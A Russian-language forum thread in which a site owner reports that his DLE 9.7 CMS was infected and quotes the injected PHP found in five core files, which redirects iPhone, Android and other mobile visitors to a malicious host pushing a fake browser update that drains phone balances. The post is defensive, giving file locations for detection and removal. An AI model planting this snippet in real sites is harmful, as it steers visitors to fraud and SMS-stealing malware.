Перейти к содержимому

Добро пожаловать на Форум www.MakeServer.kz
Зарегистрируйтесь сейчас, чтобы получить доступ ко всем функциям. После регистрации и входа в систему вы сможете создавать темы, отвечать на сообщения в существующих разделах, изменять репутацию другим пользователям,использовать личные сообщения, размещать обновления статуса, управлять профилем и многое другое. Если у вас уже есть учетная запись, Войти здесь - или Зарегистрироваться.
Внимание! Если вы ранее регистрировались на сайте,то проходить повторную регистрацию на форуме не нужно.Вы можете использовать свои логин и пароль от сайта.
MakeServer.kz TeamSpeak Server TeamSpeak Viewer

Фотография

Серьёзная уязвимость DLE 9.7

- - - - -

  • Авторизуйтесь для ответа в теме
Сообщений в теме: 3

#1
HAYS

HAYS

    Знаток

  • Пользователи
  • 98 сообщений
Введение:

Вещь довольно хитрая и я стал удивляться, почему с нашего сайта просиходит редирект, я симулировал различные устройства и редиректа не было только с одного устройство - ПК(персонального компьютера). Многие знают, что я пользуюсь Mac OS, так вот тут очень замечательный и быстрый поиск. Я сделал back up сайта и попытался найти этот конечный редирект, то есть statuses.ws, но почему-то меня подвела моя операционная система и ничего не нашла. Не знаю почему, но мне в голову взбрело сделать медленный редирект по сайтам, то есть с затормаживанием. И тут оказалось, что мы посещаем еще один сайт(не помню точно его адрес) и там я прочитал чудо-условия. Для пользователей Android скачивается программа, якобы браузер устарел и пора сменить его. За установку этого "браузера" списывается с телефона 1062 рубля. Причем не просто списывается, а будет списываться, пока у вас не станет все по нулям. Эта программа судя по всему может читать/отправлять смс, воровать все данные с мобильного устройства. Я не стал устанавливать данный бред, так как из требований это было понятно. Тот сайт действует абсолютно легально, так что придраться не к чему, разве что к государственным законам, но это уже другое дело.

Борьба с дырой:

Думаю ее нужно будет проводить регулярно, так как оффициальный фикс не очень помогает.

engine\data\config.php в самом низу
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

engine\data\dbconfig.php в самом низу
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

engine\engine.php
строка 761
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

engine\init.php
строка 126
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

index.php
строка 274
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

Если есть такой код в файлах, поздровляю ваш сайт заражон) Удаляйте этот код, и проверяйте эти файлы каждый день!

P.S. Не знал в какой раздел кинуть, если что перенесите, опасность высокая есть вероятность что ваш сайт забанят поисковые системы как вымогателей, и могут быть проблемы с законом

#2
exso

exso

    Мыслитель

  • Пользователи
  • 300 сообщений
dle 9.6 надеюсь такого нету?

#3
HAYS

HAYS

    Знаток

  • Пользователи
  • 98 сообщений
, незнаю, но лучше перестраховатся и проверять! Ещё думаю не лишнем будет сменить адрес админки...

#4
exso

exso

    Мыслитель

  • Пользователи
  • 300 сообщений
HAYS, хорошая информация будем знать




Количество пользователей, читающих эту тему: 1

0 пользователей, 1 гостей, 0 анонимных